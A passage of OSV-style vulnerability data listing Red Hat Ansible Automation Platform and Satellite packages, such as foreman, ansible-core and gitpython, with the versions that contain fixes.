Hat:ansible_automation_platform_inside:2.6::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-gateway-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.17-1.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-gateway-proxy-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.17-1.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-gateway-proxy-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.17-1.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-gateway-proxy-server-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.17-1.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.50-1.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.15.2-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.15.2-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"ansible-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_maintenance:6.19::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"ansible-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.59-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.59-1.el9pc"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.19::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"rubygem-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.3-1.el9sat"}]}],"bundled":22},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-foreman_remote_execution","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:16.2.3-2.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-foreman_remote_execution-cockpit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:16.2.3-2.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"foreman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.18::el9","package":"foreman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"foreman-debug","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"foreman-pcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.18::el9","package":"foreman-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman-debug","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman-dynflow-sidekiq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman-ec2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman-journald","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman-libvirt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman-openstack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman-pcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman-postgresql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman-service","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman-telemetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"foreman-vmware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0.25-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.18::el9","package":"rubygem-hammer_cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0-2.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-hammer_cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.16.0-2.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-2.el9pc"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-2.el9pc"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"yggdrasil-worker-forwarder","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.0-2.1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"pulpcore-obsolete-packages","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.3.1-6.el9pc"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el9pc"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el9pc"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"satellite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.18.10-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"satellite-capsule","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.18.10-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"satellite-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.18.10-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"satellite-obsolete-packages","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.18.10-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.18::el9","package":"satellite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.18.10-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.18::el9","package":"satellite-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.18.10-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"pulpcore-obsolete-packages","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.3.1-6.el9pc"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el9pc"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el9pc"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.18.0.24-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-safemode","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.0-2.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"satellite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.18.10-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"satellite-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.18.10-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"satellite-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.18.10-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"satellite-obsolete-packages","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.18.10-1.el9sat"}]}],"bundled":26},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-foreman_remote_execution","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:15.0.2-2.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-foreman_remote_execution-cockpit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:15.0.2-2.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"foreman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"foreman-debug","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"foreman-pcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.17::el9","package":"foreman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.17::el9","package":"foreman-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-debug","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-dynflow-sidekiq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-ec2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-journald","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-libvirt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-openstack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-ovirt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-pcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-postgresql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-service","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-telemetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"foreman-vmware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0.22-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.17::el9","package":"rubygem-hammer_cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0-2.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-hammer_cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.0-2.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-1.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-1.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-1.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python3.11-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-1.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"yggdrasil-worker-forwarder","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.0-2.1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python-lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.3.1-2.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python-lxml-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.3.1-2.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.3.1-2.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-lxml-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.3.1-2.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"satellite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.17.12-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"satellite-capsule","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.17.12-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"satellite-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.17.12-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"satellite-obsolete-packages","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.17.12-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.17::el9","package":"satellite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.17.12-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.17::el9","package":"satellite-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.17.12-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python-lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.3.1-2.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python-lxml-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.3.1-2.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python3.11-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python3.11-lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.3.1-2.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python3.11-lxml-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.3.1-2.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python3.11-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el9pc"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.16.0.20-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-safemode","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.0-2.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"satellite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.17.12-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"satellite-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.17.12-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"satellite-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.17.12-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"satellite-obsolete-packages","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.17.12-1.el9sat"}]}],"bundled":32},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-foreman_remote_execution","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.2.8-2.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-foreman_remote_execution-cockpit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.2.8-2.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-foreman_remote_execution","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.2.8-2.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-foreman_remote_execution-cockpit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.2.8-2.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"foreman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"foreman-debug","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red 